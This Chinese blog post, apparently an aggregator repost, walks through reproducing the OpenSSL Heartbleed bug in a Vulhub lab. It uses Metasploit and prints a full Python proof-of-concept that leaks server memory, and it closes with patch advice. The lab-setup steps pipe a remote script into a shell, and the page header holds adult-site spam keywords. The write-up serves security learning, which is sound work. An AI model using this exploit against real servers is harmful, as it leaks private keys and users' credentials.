日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

渗透测试-Openssl心脏出血漏洞复现

發布時間:2023/12/14 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 渗透测试-Openssl心脏出血漏洞复现 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

心臟滴血

早在2014年,互聯網安全協議OpenSSL被曝存在一個十分嚴重的安全漏洞。在黑客社區,它被命名為“心臟出血”,表明網絡上出現了“致命內傷”。利用該漏洞,黑客可以獲取約30%的https開頭網址的用戶登錄賬號密碼,其中包括購物、網銀、社交、門戶等類型的知名網站。

漏洞簡介

OpenSSL“心臟出血”漏洞(CVE-2014-0160)是一個非常嚴重的問題。這個漏洞使攻擊者能夠從內存中讀取多達64 KB的數據。也就是說,只要有這個漏洞的存在,在無需任何特權信息或身份驗證的環境下,我們就可以從我們自己的(測試機上)偷來 X.509證書的私鑰、用戶名與密碼、聊天工具的消息、電子郵件以及重要的商業文檔和通信等數據。

最初人們為了網絡通信安全,就開始使用安全協議進行加密通信,SSL(Secure Socket Layer)就是一種安全協議。隨著開源軟件的流行,有人寫了一款叫 OpenSSL 的開源程序供大家方便地對通信進行SSL加密,后來這款軟件便在互聯網中被廣泛應用。

OpenSSL 有一個叫 Heartbeat (心跳檢測)的拓展,問題就出在這個拓展上,這也是漏洞被命名為“心臟出血”的直接原因。所謂心跳檢測,就是建立一個 Client Hello 問詢來檢測對方服務器是不是正常在線 ,服務器發回 Server hello,表明正常樹立SSL通訊。就像我們打電話時會問對方 “喂聽得到嗎?”一樣。

每次問詢都會附加一個問詢的字符長度 pad length。bug 來了,如果這個 pad length 大于實際的長度,服務器仍會回來相同規模的字符信息,于是形成了內存里信息的越界訪問。就這樣,每發起一個心跳,服務器就能泄露一點點數據(理論上最多泄露 64K),這些數據里可能包括用戶的登錄賬號密碼、電子郵件甚至是加密秘鑰等信息,也可能并沒有包含這些信息,但攻擊者可以不斷利用 “心跳”來獲取更多的信息。就這樣,服務器一點一點泄露越來越多的信息,就像是心臟慢慢在出血,心臟出血漏洞的名字由此而來。

由于互聯網應用最廣泛的安全傳輸方法就是 SSL,而 Open SSL 又是多數 SSL 加密網站使用的開源軟件包,所以漏洞影響范圍廣大,一時間席卷全球各個互聯網相關領域,網銀、在線支付、電商網站、門戶網站、電子郵件等無一幸免。

漏洞分析

OpenSSL“心臟出血”漏洞的問題出現在openSSL處理TLS心跳的過程中,TLS心跳的流程是:A向B發送請求包,B收到包后讀取這個包的內容(data),并返回一個包含有請求包內容的響應包。請求包的內容(data)中包含有包的類型(type)和數據長度等信息。

當B收到A的請求包后,并沒有的驗證A包的實際長度,而是簡單的把請求包data中說明的長度當作data的實際長度,于是當請求包中說明的長度與請求包數據實際長度不同時,問題就產生了。假設A構造一個請求包,它的實際內容長度只有1,而卻告訴B的它的長度是65535,那么B接受到這個包后就會把A的內容完全當作65535來處理,其實到這里,問題還并不嚴重,最嚴重的問題出在,心跳的響應包還需要附帶請求包的全部內容這就需要程序做一次將請求包的數據從它所在的內存拷貝到響應包的內存里的操作

這下就出大問題了,當拷貝的時候,程序認為A包的內容長度是65535個字節,結果A包在內存里面實際只有1個字節,于是程序不僅拷貝出了A包的內容,還“傻傻”地將A包數據在內存中位置后額外的65534個字節拷貝進了響應包里,并將這個響應包發還給了A,于是A便輕易地獲得了B內存中這65534個字節的數據。想象一下,如果這65534個字節數據中包括一些敏感信息,那么后果將非常嚴重。而且A還可以簡單地通過連續的發送心跳包,獲取B機器內存中n個65534字節的數據,這個漏洞不愧是2014年“最佳漏洞”。

現實是殘酷的,據說的確已經有很多用戶的敏感信息通過這種方式泄漏了。作為一個應用如此廣泛和重要的開源庫,出現這種低級的問題實在是讓人不能理解,不禁又讓人聯想起了------陰謀!

Vulhub

下文我將基于Vulhub中搭建靶場環境,故先介紹下Vulhub。Vulhub 是一個基于 docker 和 docker-compose 的漏洞環境集合,進入對應目錄并執行一條語句即可啟動一個全新的漏洞環境,讓漏洞復現變得更加簡單,讓安全研究者更加專注于漏洞原理本身。關于Docker技術,可通過另一篇博文進行學習:滲透測試-Docker容器。

Vulhub 的特點

  • 完全開源,幾乎不使用非官方的二進制文件、鏡像;
  • 百分之95以上的環境是從 docker 基礎鏡像編譯而來,你可以看到每一個環境是怎樣建造的;
  • 所有漏洞靶場均包含漏洞原理、參考鏈接、復現過程,真正做到完整地了解每一個漏洞;
  • 使用 docker-compose 編排容器,更貼近生產環境實際情況;
  • 由一線安全從業者長期維護,能做到在漏洞爆發的短期內獲得靶場。
  • 對于漏洞學習者、安全工作者來說,Vulhub 都是一個非常有力的輔助工具,安全從業者可以在漏洞爆發的第一時間,搭建環境并復現漏洞,熟悉近些年熱門的安全漏洞原理,更好地維護企業安全,在安全內、外部培訓中作為案例來學習與使用。

    Vulhub 的安裝與使用

    關于 Vulhub 的介紹、安裝與漏洞利用教程,官方給出了教程:Vulub官方教程,漏洞復現教程如圖:
    下面我使用 Ubuntu 虛擬機安裝 Docker 環境和搭建 Vulhub 靶場:

    1、安裝docker:apt-get install -y docker.io 2、安裝docker-compose:pip install docker-compose 3、配置 docker 加速器(提高容器下載速度):curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://f1361db2.m.daocloud.io 3、下載vulhub漏洞目錄:git clone https://github.com/vulhub/vulhub.git 4、進入想要復現的漏洞對應文件夾:cd ~/vulhub/struts2/s2-048/ 5、以root身份執行以下命令開始運行漏洞容器:docker-compose up -d

    下面簡單實操演示一下 Vulhub 靶場環境的使用:

    1、下載完 Vulhub 在本地可看到以下目錄:
    2、進入 struts2 文件夾,里頭包含了中、英文版本的漏洞利用教程說明文檔、截圖(與官網一致),以及用于自動構造對應漏洞鏡像的 docker-compose.yml 配置文件:

    3、在對應漏洞的目錄下打開終端,以 root 身份運行以下命令開始運行漏洞容器:

    4、成功 pull 鏡像并運行容器后,可按照復現教程訪問靶場地址并開始實驗:

    5、以上漏洞環境就這樣一鍵搭建成功,節省了一大把時間,可更專注于漏洞研究,漏洞環境使用完成記得使用以下命令進行關閉哦:

    漏洞復現

    下面基于 Vulhub 靶場環境復現OpenSSL“心臟滴血”漏洞,實驗環境如下:

    主機IP用途
    Ubuntu 虛擬機172.31.1.135基于 Vulhub 搭建OpenSSL“心臟滴血”漏洞環境
    Kali Linux 虛擬機172.31.3.198使用 MSF 框架對存在漏洞的靶機進行攻擊

    靶場搭建

    上面已經介紹了,基于 Vulhub 搭建OpenSSL“心臟滴血”漏洞環境,很簡單:

    1、進入Ubuntu虛擬機對應的漏洞文件夾路徑下,執行以下命令即可:
    2、等待下載漏洞鏡像環境并啟動容器結束:

    漏洞檢測

    以上靶場環境啟動成功后,使用局域網內的 Kali 攻擊機運行 nmap 漏洞掃描腳本對靶機進行漏洞檢測:

    MSF攻擊

    Vulnhub官方給出了復現教程:基于Python腳本的POC。但此處演示下使用 Kali 的 MSF 框架進行攻擊:

    1、執行命令 msfconsole 運行 MSF 框架:

    2、使用search heartbleed查找攻擊模塊:
    3、執行命令use auxiliary/scanner/ssl/openssl_heartbleed選擇第一個攻擊模塊,然后使用show options查看需要設置的參數:
    4、設置對應的主機、端口參數:

    5、最后運行run命令,可以看到 靶機的64KB信息(如果有人此時在登錄web應用,還可以直接抓到賬號密碼等信息):
    部分信息如下:
    至此,利用 Kali 的 MSF 框架對 OpenSSL“心臟滴血”漏洞 的靶機攻擊成功結束。

    官方復現

    最后,來看看Vulnhub官方給出的復現教程:

    那就直接在靶機上運行 Python 腳本發送 POC 試試:
    腳本代碼如下(代碼分析可參考:心臟滴血HeartBleed漏洞研究及其POC):

    #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''')hb = h2bin(''' 18 03 02 00 03 01 40 00 ''')def hexdump(s):for b in xrange(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % ord(c) for c in lin)pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)print ' %04x: %-48s %s' % (b, hxdat, pdat)printdef recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = ''remain = lengthwhile remain > 0:rtime = endtime - time.time() if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print 'Unexpected EOF receiving record header - server closed connection'return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print 'Unexpected EOF receiving record payload - server closed connection'return None, None, Noneprint ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print 'No heartbeat response received, server likely not vulnerable'return Falseif typ == 24:print 'Received heartbeat response:'hexdump(pay)if len(pay) > 3:print 'WARNING: server returned more data than it should - server is vulnerable!'else:print 'Server processed malformed heartbeat, but did not return any extra data.'return Trueif typ == 21:print 'Received alert:'hexdump(pay)print 'Server returned error, likely not vulnerable'return Falsedef main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print 'Connecting...'sys.stdout.flush()s.connect((args[0], opts.port))print 'Sending Client Hello...'sys.stdout.flush()s.send(hello)print 'Waiting for Server Hello...'sys.stdout.flush()while True:typ, ver, pay = recvmsg(s)if typ == None:print 'Server closed connection without sending Server Hello.'return# Look for server hello done message.if typ == 22 and ord(pay[0]) == 0x0E:breakprint 'Sending heartbeat request...'sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()

    實驗完畢,關閉實驗容器環境(也可進一步繼續刪除本地漏洞鏡像來節省空間):

    修復方案

    OpenSSL“心臟出血”漏洞(CVE-2014-0160)受影響的OpenSSL版本:

    • OpenSSL 1.0.2-beta
    • OpenSSL 1.0.1 - OpenSSL 1.0.1f

    要解決此漏洞,簡單粗暴的方法就是升級openssl軟件。建議服務器管理員或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS選項重新編譯OpenSSL,從而禁用易受攻擊的功能,直至可以更新服務器軟件。

    Centos 主機修復方法參考:

    1、使用如下的命令查看服務器上的當前版本: [root@master ~]# openssl version OpenSSL 1.0.1e-fips 11 Feb 20132、升級opensll包: [root@localhost ~]# yum update openssl3、或者卸載后使用yum方法安裝: yum search openssl yum install openssl /etc/init.d/nginx restart #然后重啟nginx

    最后,附上OpenSSL“心臟出血”漏洞(CVE-2014-0160)的在線檢測網站:heartbleed test,輸入待測站點的網站和端口即可進行檢測:

    總結

    以上是生活随笔為你收集整理的渗透测试-Openssl心脏出血漏洞复现的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。